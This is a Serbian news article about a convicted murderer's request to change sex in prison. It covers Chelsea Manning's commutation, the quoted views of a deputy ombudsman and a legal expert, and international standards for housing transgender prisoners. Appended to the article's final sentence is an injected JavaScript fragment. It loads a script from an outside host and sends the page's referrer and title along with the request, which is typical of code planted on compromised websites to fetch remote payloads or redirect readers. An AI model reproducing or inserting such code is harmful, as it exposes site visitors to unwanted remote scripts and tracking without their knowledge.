PRVI PUT U SRBIJI: Zatvorenik ubica tražio dozvolu za promenu pola

Nekoliko dana nakon što je Barak Obama ukinuo presudu Čelzi Menin, najpoznatijem transrodnom zatvoreniku na svetu, jednoj zatvorskoj upravi kod nas stigao je prvi zahtev zatvorenika, inače osuđenog zbog ubistva, da mu bude omogućena promena pola tokom izdržavanja kazne

Tri dana pre isteka mandata Barak Obama ukazao je predsedničku milost Čelsi Mening, najpoznatijoj transženi na svetu u okviru zatvorske populacije.

Zbog špijunaže je uhapšena 2010. godine i posle tri godine osuđena na tri i po decenije zatvora jer je - pre promene pola - kao Bredli Mening, školovani vojnik i obaveštajni analitičar u Iraku, prosledila sajtu Vikiliks 250.000 diplomatskih depeša i oko pola miliona vojnih dokumenata poznatih kao "Ratni dnevnici iz Iraka i Avganistana".

Hormonsko-medicinsku tranziciju (promenu pola) obavila je posle izricanja osuđujuće presude, o čemu je javnost obavestila saopštenjem uz molbu da je tretiraju kao ženu. Prema medijima, Čelsi je "zbog enormnog pritiska" u više navrata "pokušala da izvrši samoubistvo".

Jednoj zatvorskoj upravi kod nas stigao je prvi zahtev zatvorenika, inače osuđenog zbog ubistva, da mu bude omogućena promena pola tokom izdržavanja kazne.

Prema Zakonu o izvršenju krivičnih sankcija, u muškim zatvorima kaznu izdržavaju transžene koje su pravosnažno osuđene zbog bilo kog krivičnog dela. Posredi je mnoštvo pitanja, a u kojoj meri je ovo delikatno polje pokazuje dilema: Da li bi transžene (rođene kao muškarci) trebalo kaznu da izdržavaju u ženskim paviljonima ako se zna da ženska osuđenička populacija odbacuje transžene?
Istraživači procenjuju da među svim uhapšenim prostitutkama u Srbiji imamo između 20 i 30 odsto transžena. One kaznu izdržavaju u Padinskoj skeli, naravno u muškom "delu", ali stručnjaci kažu im je bezbednost "neuporedivo bolja u odnosu na neke razvijene zemlje".

Ako slobodni građani imaju to pravo, zašto ga, ma koliko neuobičajeno bilo, ne bi imao neko ko jeste u zatvoru? Na svetskom nivou ne postoje jasni pravni standardi, međutim, u Srbiji se ovo pitanje otvorilo jer jedan osuđenik traži promenu pola

Miloš Janković, zamenik zaštitnika prava građana za zaštitu prava lica lišenih slobode i rukovodilac Nacionalnog mehanizma za prevenciju torture, objašnjava za Ekspres da se, po zakonu, krivični postupci vode protiv muškaraca i kada se oni izjasne kao transžene, pa zato kaznu i izdržavaju u zatvoru za muškarce.

- Tek ćemo se baviti pravom na promenu pola tokom izdržavanja kazne - najavljuje Janković, i dodaje: - Ako slobodni građani imaju to pravo, zašto ga, ma koliko neuobičajeno bilo, ne bi imao neko ko jeste u zatvoru? Na svetskom nivou ne postoje jasni pravni standardi, međutim, u Srbiji se ovo pitanje otvorilo jer jedan osuđenik traži promenu pola tokom izdržavanja zatvorske kazne.

Po njegovim rečima, naše transžene zahtevaju od zatvorskih uprava da ih oslovljavaju u ženskom rodu. Na odeljenju za muškarce hoće da budu odevene u žensku garderobu. Potrebna im je, naravno, i šminka.

- Ova materija kod nas nije uređena. Ne postoje ni jasni svetski standardi koje bismo mogli da primenimo. Ovakvo pravno stanje razlog je zbog kog je zaštitnik građana zauzeo stav da uprava zatvora nije postupila nezakonito kada nije udovoljila navedenim zahtevima. Dokle god se građanin u dokumentima vodi kao pripadnik muškog pola, shodno važećim propisima, državni organi dužni su da sa njim tako i postupaju - apostrofira Janković.

Kako kaže Janković, prošle godine upućena je preporuka svim zatvorskim upravama u Srbiji, a preporuku uveliko sprovode, da bude udovoljeno zahtevu transžene da je ne pretresa i ne pregleda muškarac. Pripadnice zatvorske službe obezbeđenja, prema istoj preporuci, imaju pravo da odbiju taj službeni zadatak. Paradoksalno je da ovakav tretman imamo u zatvorima, a da je u istim slučajevima mimo zatvora stanje stvari suprotno.

- Kad je reč o transrodnim ženama, utvrdili smo da je ta populacija u zatvorskim uslovima podložna nasilju, pa i seksualnom zlostavljanju - ističe Janković, i naglašava: - Interesantno je da pritužbe takve vrste nismo dobili, što ne znači da nije bilo pojedinačnih slučajeva. Ali ovo nedvosmisleno ukazuje na to da nije reč o sistemskoj pojavi.

Zorica Mršević, doktor pravnih nauka i stručnjak za ovu problematiku, navodi da je započinjanje hormonsko-operativnog procesa u zatvorskim uslovima zasad omogućeno samo u Kaliforniji. U Škotskoj i Engleskoj zatvorenici koji su ranije okončali medicinsku proceduru "uglavnom su smešteni u skladu sa novostečenim rodnim identitetom" bez obzira na to da li su im lična dokumenta usaglašena sa tom promenom.

- Zatvorski smeštaj transrodnih osuđenika koji su u procesu tranzicije, koji "imaju sve što imaju muškarci" a po spoljašnjosti i rodnom identitetu su žene, jeste problem globalnih razmera - kaže dr Mršević, i dodaje: - Kad je o Srbiji reč, praksa je ipak bolja i brža od zakona jer život ne može da čeka na njih. Na primer, transrodne žene na izdržavanju prekršajne kazne zatvora ne traže da budu smeštene u kazneno-popravne zavode za žene zato što su smeštajni uslovi u muškom odeljenju u Padinskoj skeli bolji od uslova u ženskim odeljenjima zatvora u Požarevcu. Ili upotreba šminke i nošenje ženske odeće nisu dozvoljeni, ali toleriše se upotreba sopstvenih hormona o trošku osuđenika, odnosno osuđenice.

U svetu je položaj transrodnih osuđenika problematizovan tokom poslednje decenije 20. veka usled unapređenja medicinske prakse i široke dostupnosti hormonsko-hirurške tranzicije koju u nizu zemalja, u celosti ili delimično, finansiraju javni zdravstveni fondovi. Jednostavno, raste broj ljudi koji se opredeljuju za ovaj način rešavanja svog medicinskog problema.

S druge strane, javlja se globalni zametak pravne regulative. Tako, Džodžakarta principi UN obavezuju države da omoguće polnu tranziciju osuđenicima koji to žele, a na istom fonu je i Kancelarija UN za pitanja droge i kriminala. Tu je i Rezolucija 1989 Evropskog parlamenta, koja traži da države pruže zaštitu i evidentiraju koje probleme imaju transosuđenici sa zatvorskim vlastima. U prošlogodišnjoj Analizi položaja transrodnih osuđenika/ca na izvršenju kazne zatvora", dr Zorica Mršević konstatuje i da se položaj ove kategorije osuđenika u Evropi "uglavnom ne rešava putem zakonskih regulativa, delimično i zato što je takvih lica malo da bi svojim brojem omogućavali poseban kategorijalni tretman, ali i zato što su postojeće prakse različite i sa neujednačenim rezultatima, kao i zato što je donošenje novih zakona ili promena postojećih svuda komplikovana procedura".

Ipak, poznavaoci problematike saglasni su da još ne postoji najbolji model zatvorskog tretmana transrodnih osuđenika koji bi bio preporučljiv za Srbiju. Ni naučnici, ni sami transosuđenici, ni aktivisti, ni njihove asocijacije, ni državni organi nisu došli do saglasnosti o najefikasnijem modelu zatvorskog režima za ovu kategoriju osuđenika.

ALARMANTNA IDEJA O ZASEBNIM ZATVORIMA

- Dok je druga polovina 20. veka u penološkom smislu bila karakteristična u nastojanju da se osuđenim ženama, koje čine konstantnih tri odsto zatvorske populacije, omogući makar deo programa i tretmanskih različitosti koje su na raspolaganju muškarcima, sada se pojavila jedna još malo brojnija kategorija čije specifičnosti ne smeju da budu ignorisane - kaže dr Mršević, i dodaje: - Za transrodne osuđenike gotovo svuda važi pravno pravilo "tertium (genus) non datur", "treći (rod) ne postoji". Međutim, diskusija o transrodnim licima lišenim slobode tek će da se razvija. Alarmantna je ideja da bi transrodne osuđenike trebalo centralizovati u jednoj ustanovi jer bi to bilo isto kao kada bi za Afroamerikance ili Rome bili građeni zasebni zatvori. Generalno možemo konstatovati da sve vrste pritvorskih i zatvorskih institucija, sabirnih centara, imigracionih kampova, kažnjeničkih kolonija, popravnih domova za maloletnike i mlađa punoletna lica predstavljaju ozbiljnu opasnost za živote, dostojanstvo, fizički i mentalni integritet transrodnih ljudi.

TRAMP RAZMIŠLJA DA UKINE OBAMINO POMILOVANJE 

Bivši šef Bele kuće "otpisao" je Čelsi Mening 28 godina robije, pa bi na slobodu trebalo da izađe već 17. maja ove godine umesto 2045. Ostaje da se vidi da li će tako i biti. Naime, čim je objavljena vest da je Obama "u minut" pre isteka mandata pomilovao Čelsi Mening, Donald Tramp je najavio da će ovu odluku ukinuti.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';